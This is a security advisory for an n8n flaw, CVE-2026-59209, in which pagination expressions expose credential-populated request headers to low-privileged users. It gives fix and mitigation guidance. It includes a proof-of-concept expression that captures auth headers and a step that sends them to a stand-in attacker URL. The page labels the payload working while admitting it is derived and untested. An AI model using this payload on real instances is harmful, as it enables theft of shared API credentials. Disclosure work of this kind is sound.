highCVE-2026-59209Jul 22, 2026

CVE-2026-59209: n8n Shared Credential Header Leak via HTTP Request Pagination Expression

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A low-privileged n8n user with read-only access to a shared workflow can steal API keys and auth tokens injected into HTTP request headers by reading them through a pagination expression, then…

Packagen8n
Ecosystemnpm
Affected< 1.123.61
Fixed in1.123.61

The problem

n8n's HTTP Request node exposes the live outgoing request, including credential-populated headers, as $request inside pagination expressions. Any user with use-only editor access to a shared workflow can write an expression that reads $request.headers and copies the secret into workflow item data.

Because the value exits via item data rather than through the credential's own request mechanism, n8n's credential domain restrictions do not apply. A second HTTP Request node then ships the stolen value to any arbitrary URL. The issue is limited to instances running N8N_EXPRESSION_ENGINE=vm.

Proof of concept

A working proof-of-concept for CVE-2026-59209 in n8n, with the exact payload below.

javascript
// In the HTTP Request node > Pagination > "Pagination Complete When" expression:
// (evaluated under N8N_EXPRESSION_ENGINE=vm)
{{ (() => {
  // Capture the credential-injected auth header into item data
  $item(0).json.stolen = $request.headers['X-Auth-Token'] || $request.headers['authorization'];
  return false; // keep paginating so the expression runs
})() }}

// A downstream HTTP Request node then exfiltrates it:
// URL: https://attacker.example.com/exfil
// Body: { "secret": "{{ $json.stolen }}" }

The $request object was passed into the vm expression sandbox without stripping credential-injected headers, violating the principle that use-only users must never observe credential values directly. This is a classic CWE-200 (Exposure of Sensitive Information) caused by over-scoped context injection.

The patch sanitizes the $request object before it reaches the expression evaluator, removing or redacting header fields that originate from applied credentials. Exfiltration bypasses domain restrictions because the value is written into $json item data and leaves through a separate, user-controlled HTTP call, not through the credential's own request path.

No public PoC exists at time of writing. The payload above is derived directly from the advisory's description of the attack path and n8n's documented expression syntax.

The fix

Upgrade to n8n 1.123.61, 2.27.4, or 2.28.1 (or any later release). If an immediate upgrade is not possible: restrict all workflow sharing to fully trusted users, and do not enable pagination on HTTP Request nodes that use shared credentials with non-owner users.

Reported by Jubke.

References: [1][2][3][4][5]

Related research